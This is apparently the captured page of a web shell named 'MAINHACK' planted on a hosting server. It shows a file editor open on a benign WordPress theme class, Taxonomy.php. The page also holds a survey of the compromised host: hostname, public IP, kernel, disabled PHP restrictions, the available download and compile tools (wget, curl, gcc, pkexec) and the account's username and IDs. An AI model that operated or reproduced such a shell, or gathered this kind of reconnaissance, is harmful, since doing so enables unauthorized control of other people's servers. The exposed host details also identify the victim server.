[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Taxonomy.php
<?php abstract class ET_Core_Post_Taxonomy extends ET_Core_Post_Object { /** * The `$args` array used when registering this taxonomy. * * @since 3.0.99 * @var array */ protected $_args; /** * The WP Taxonomy object for this instance. * * @since 3.0.99 * @var WP_Taxonomy */ protected $_wp_object; /** * Taxonomy key. * * @since 3.0.99 * @var string */ public $name; /** * The post types to which this taxonomy applies. * * @since 3.0.99 * @var array */ public $post_types; /** * This taxonomy's terms. * * @var WP_Term[] */ public $terms; /** * @inheritDoc */ public $wp_type = 'taxonomy'; /** * ET_Core_Post_Taxonomy constructor. */ public function __construct() { parent::__construct(); $name = $this->name; /** * Filters the supported post types for a custom taxonomy. The dynamic portion of the * filter name, $name, refers to the name of the custom taxonomy. * * @since 3.0.99 * * @param array */ $this->post_types = apply_filters( "et_core_taxonomy_{$name}_post_types", $this->post_types ); } /** * Get the terms for this taxonomy. * * @return array|int|WP_Error|WP_Term[] */ public function get() { if ( is_null( $this->terms ) ) { $this->terms = get_terms( $this->name, array( 'hide_empty' => false ) ); } return $this->terms; } /** * Get a derived class instance. * * @since 3.0.99 * * @param string $type See {@see self::$wp_type} for accepted values. Default is 'taxonomy'. * @param string $name The name/slug of the derived object. Default is an empty string. * * @return self|null */ public static function instance( $type = 'taxonomy', $name = '' ) { return parent::instance( $type, $name ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.18 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830